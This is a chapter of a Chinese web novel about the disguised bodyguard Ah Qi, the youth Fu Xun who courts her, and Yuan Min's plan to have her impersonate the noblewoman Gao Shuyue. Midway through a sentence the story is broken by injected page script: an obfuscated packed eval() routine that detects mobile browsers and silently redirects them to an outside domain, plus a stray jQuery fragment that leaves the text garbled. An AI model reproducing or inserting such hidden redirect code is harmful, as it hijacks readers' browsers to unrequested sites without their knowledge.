11. 第11章 相见欢
    质子府后院是一条窄街,以往有不少菜摊、肉摊、水果摊,此时关门闭户,整条街寂静无声,只有几树腊梅与红梅凌寒独放,郁香醉人。

    阿七提着酒跃上一株红梅,头有些昏沉、于是轻轻闭眼,仍有一搭没一搭就着冷风饮酒。

    隐约听到下方有脚步声,来人站在树下,一言不发,阿七嗅着满树馥郁,忽然想起兴庆宫的那株海棠。

    “那年我才五岁,调皮得紧,爬到树上去摘花,然后摔了下去”,阿七对着夜空吃吃笑道,“那时你跑到树下,一把就接住了我,我当时还想,你力气怎么那样大?”

    “后来才知道,那天你被我撞折了两条胳膊,忍着痛还去娘娘宫里替我请罪。”

    阿七缓缓将手伸进袖中,取出一方沾血的丝帕:“还有一年,先王不知为何要杀我,你一把抓住剑刃、被割得满手是血还在替我求情。”

    “那些年,你总说除了我不知还能信谁,说咱们相依为命,我愿意一辈子追随你,可我也是女子啊。”

    “你要是不对我那么好,就好了。”

    “算了、算了……”

    话越说越多,似乎说了什么不妥的,但是头晕得不愿细想,只想一股脑说了痛快。

    树下的人仍一言不发。

    冷风一吹,阿七清醒了点,转头看去,却见树下站着一名少年,身穿胭脂红的大氅,白绒绒的风帽边衬得他小脸越发精致,正仰起头,清澈的双眸目不转睛注视着树上的她,似乎痴了。

    她忙翻身跃下,站到那少年面前,发现他身量高而单薄,神态比自己还稚嫩些。又觉得这张脸似曾相识,尤其是那双春水般的桃花眼,说不出的亲切熟悉,于是含笑逗他:“大过年的,小兄弟怎么还不回家?”

    红衣少年眼型很漂亮,瞳孔清澈而明亮、像璀璨的星辰,上唇生着好看的唇珠,嘴唇像优美的桃花。他抬眸一笑,腊月的寒天似乎冰消雪融,就连穿过巷道的风也变得温暖而轻柔。

    他温文有礼地躬身长揖,柔声道:“母亲和哥哥在老家,在下在灵昌还有公差回不去,幸今夜不当值,出来闲逛,不想又遇姐……公子。”

    “又”字,令阿七混沌的脑子清明了片刻,回想了一阵子却仍想不起他是谁。不过长夜漫漫,这少年甚是有趣,也不反感,于是有些好笑地看着他。

    少年温声道:“上次栎东白水惊鸿一瞥,年少鲁莽,害公子落水,诚恳致歉,望公子宽恕。”

    阿七不甚清醒的脑子怎么想,都感觉“惊鸿一瞥”不是这样用的,于是指向自己:“小兄弟怕是搞错了,为兄是男子。”

    少年定定注视着她,唇角仍是上扬的,眼神却极坚定,一字一字道:“卿若是女子,我愿三书六礼;卿若是男子,承蒙不弃,我亦愿断袖分桃。”

    阿七哑然失笑:“才多大的孩子,就如此多情?”忽想起自己也并不大,却还是在前两年生出了妄想,不由黯然。

    “在下并非多情,弱水三千只愿取一瓢饮”,少年的眼神温柔而缱绻,无端令她觉得楚楚可怜又深情款款,他轻声道,“信与不信全在姐姐,今夜见姐姐有些烦闷,在下晓得一个好去处,定能使姐姐开怀。”

    阿七有些站不稳,摆了摆手想往里走,忽有些茫然。

    是回那个满堂祝他新婚的前厅?还是回那个与他毗陵而居的朝晖堂东院?

    转头,那少年仍眉眼带笑站在原地,静静注视着她,见她回头,忙伸手招呼候停在巷口的马车过来,然后亲自为她拉开车帘。

    两侧车窗各支起不大不小的缝,车内放了个铜制的小火炉,烧着无烟的银丝炭,红彤彤一片,坐进去温暖如春却不觉得气闷。

    炉上的铁丝网搁着茶壶、栗子、柿子、桂圆,炉子旁边是个小茶几,摆放着几碟玉露团、马蹄糕、栗子酥、茶酥。

    阿七下意识要去斟茶,少年却已拿起干净的茶杯,又取出三个陶罐问她:“冬季宜喝红茶,我这里有白瑞香、祁门香、九曲红梅,姐姐更喜欢哪种?”

    “我选?”阿七有些讶异,干笑两声,“我都可以。”

    幽兰和白桂的香气从茶汤弥散出来,阿七小口浅酌着,一股甜丝丝暖洋洋顺喉咙滑下,五脏六腑都清爽舒畅了。她感激地看向对面,却发现少年正含笑注视着她。

    “请教阁下高姓大名?”

    “在下苻洵,姐姐可以叫我‘阿洵’。”

    马车在空街渐行渐远,墙内的梅树上站着一个人,他手执花剪,眼睛看向别处,剪花枝的动作僵在半空。

    树下武煊带头起哄:“四哥,就要那枝最好的,大家都听好了,今晚酒令最优胜者,赐殿下亲折红梅一枝。”

    远处,烟花尖啸着升空,散作千亿星子,璨璨落下。紧接着,城中各处,无数烟花络绎不绝升起,漫天火树银花散入春风。

    与漫天烟花呼应,满城爆竹齐齐轰鸣,已到子时。

    灵昌城新的一年,来了。

    .

    涉江采芙蓉,兰泽多芳草。采之欲遗谁?所思在远道。

    精致的锦盒上,蘸金粉绘了一茎荷花,题诗四句。打开盒子,那簇美丽的芙蕖花熠熠灼眼。

    元旻拈起芙蕖簪放在书案上,脸色阴沉,拿起一方镇纸狠狠砸下。

    砚台停在半空。

    “罢了,我如今自身难保,凭什么去拘束她?”元旻怅然苦笑,将芙蕖簪放回锦盒。

    阿七在外逡巡到寅时三刻才回,心中烦闷纾解不少,在靠近朝晖堂时心情陡然一沉。她蹑手蹑脚走进前堂,瞥见西院和主院一片漆黑,暗自庆幸,放慢步调往东院走去。

    昏暗的东院里,静坐了不知多久的元旻忽然站起来。

    阿七吓了一跳,元旻将手中锦盒递给去,轻声道:“给你的。”

    阿七打开盒子,看到那枝精美绝伦的芙蕖簪,有片刻错愕。回过神后,既觉得郁气更重了、又莫名欢喜。忍不住拿起那枝芙蕖,借廊下灯笼微光细细端详起来。

    款式、材质、做工都别具匠心,美得令人移不开眼。

    忍不住拔下头上的素银簪,将那枝芙蕖簪别进头冠,尺寸大小居然正好,于是借酒劲转着圈:“真好看,殿下送我的?”

    元旻唇角弯了弯:“喜欢?”

    她用力点了点头:“喜欢,卑职一定天天戴着。”

    “随你”,元旻转过身,头也不回走向主院,“不早了,歇息吧。”

    .

    上元佳节,苻治召苻氏宗亲、朝中爱臣设上元宫宴,元旻及武煊也在受邀之列,此次宴会并未男女分席,高相亦带次女高舒月赴宴。

    席间,高舒月弹奏琵琶大曲《春江花月夜》,赢得满堂喝彩。元旻一直不动声色、挥毫泼墨,竟在宴会结束时绘成一幅琵琶美人图。二人天造地设,一时传为美谈。

    正月十六,阿七晨练完毕,刚进前堂,武煊就迎过来对她上下打量:“我还是感觉阿七高了些。”

    元旻坐在桌前,目光也在她全身逡巡,似乎在思索什么,看得她一阵发毛。

    认真观察许久,元旻道:“有高屐,喜服的裙边甚长,不足为虑,不过还有一处地方不怎么像。”

    武煊尴尬:“你说的那个,男子是没法跟女子像的。”

    元旻诧异道:“你在想什么…我是指阿七比二娘子瘦许多,不知到时可否用什么垫一垫?”

    武煊想了想又道:“最不像的还是仪态,阿七步态十分利索潇洒,跟那种温温吞吞的闺秀完全不同。”

    元旻认同:“还好有几个月时间,仪态可慢慢培养,春羽精于此道。”

    阿七忍无可忍,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13719237|144820||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    问武煊:“你们在说什么?”

    武煊忙拉着她往桌旁坐,示意她看桌上的两幅画。一幅是琵琶美人图,画中美人姿态温婉,半抱琵琶,敛眉弹奏,栩栩如生。

    另一幅则生硬些,是那琵琶女的正面肖像,从头到脚一丝不落,甚至还标注了各处尺寸。

    武煊解说道:“这画上就是高舒月,昨夜殿下特意让我多注意她的身形和仪态,宴后连夜就要画肖像,此画是他与我一同回忆、修改多次才作成的。”

    阿七一头雾水,看向元旻:“所以殿下的意思是…”

    元旻点头:“你要尽快将自己身形仪态调整好,不拘用什么法子,要在外人看来与高舒月一模一样。”

    武煊捂嘴偷笑:“一想到阿七要扮成女子,还怪期待的哈哈……”

    阿七觑着元旻脸色,略带期冀:“喜服?”

    元旻眼神带一丝玩味,瞥向她,没有正面回应,只微微翘起唇角:“我这段时日长居质子府,你不如随阿煊去戎陵山开开眼界,他行兵布阵颇有章法,你也可学学。”

    武煊笑得嘴都咧开了,口头上谦逊道:“也就是练练兵,看着就会了。”

    元旻欣然道:“阿煊自谦,那批新兵集中练了小半年,底子是打好了,还需见见血,戎陵山以北的金鸡岭盗匪横行多年,不如你去把他们剿了吧。”

    武煊哀嚎:“实战我也想操练,可为何是金鸡岭?又不能走官道,翻山过去要好久。”

    元旻若无其事道:“我刚向永兴王推荐一位凤台郡尉,此人好纸上谈兵。”

    武煊扶额:“所以四哥为何要推荐这样个草包?”

    元旻不再作答,转向阿七道:“你多次往返戎陵群山,对地势颇熟,此次北上另有两要事。”

    “其一,带上两个人,带上山脉地形图、绘一幅详图,再标记至少三条行军路线,带去的两人需熟记路线;”

    “其二,当年上阳夜袭,三千骑兵从何而来,你也去查查有何端倪。”

    阿七征询道:“天璇天玑姐妹聪记强识,可随我前去。”

    元旻抬目微笑,颔首应允。

    正在此时,外门通传:“五城兵马司大统领、建业侯苻洵求见。”

    几乎是一瞬间,武煊和阿七感到一阵寒意。

    二人发现,方才还在微笑的元旻,依然微笑着。只是那笑凝固了,假面似的长在脸上,而那双永远平和的丹凤眼,此时蕴满阴沉。

    武煊试探着问:“四哥,我去找个麻袋揍他一顿罢?”

    元旻凝固在脸上的笑舒展了,眉眼也恢复如常:“不得无礼,你二人先回去准备,明早启程。”

    二人走出去时,一身靛青大氅的苻洵正往里走。甫一照面,阿七总觉得眼前少年十分眼熟,一些模糊破碎的画面从脑中飞速闪过,她不由耳根发热、飞快避开他含笑凝睇的注目礼。

    身旁武煊小声嘀咕道:“终于不穿红了。”

    说归说,二人还是齐齐施礼:“建业侯万安。”

    苻洵笑得温煦而明亮,躬身回礼:“两位公子万安。”

    忽抬眼看向阿七头顶,笑道:“这芙蕖簪很衬公子。”

    说完这句便疾步往里走,遥遥对元旻躬身长揖:“年节繁忙,未得闲暇拜访殿下,望殿下恕罪。”

    看着苻洵走出老远,阿七才疑惑地问武煊:“他就是建业侯?为何殿下和你听到他都那副表情?”

    武煊不想探究她为何记性差了许多,艰难思考半晌,言简意赅:“去年八月,他在英平郡一见面就跟殿下打了一架。”

    阿七好奇地问:“谁赢了?”

    武煊轻咳两声,看向阿七头顶:“你这簪子倒是别致,又精美又英气、衬你,哪儿买的?”

    阿七心花怒放,抬眸笑道:“秘密。”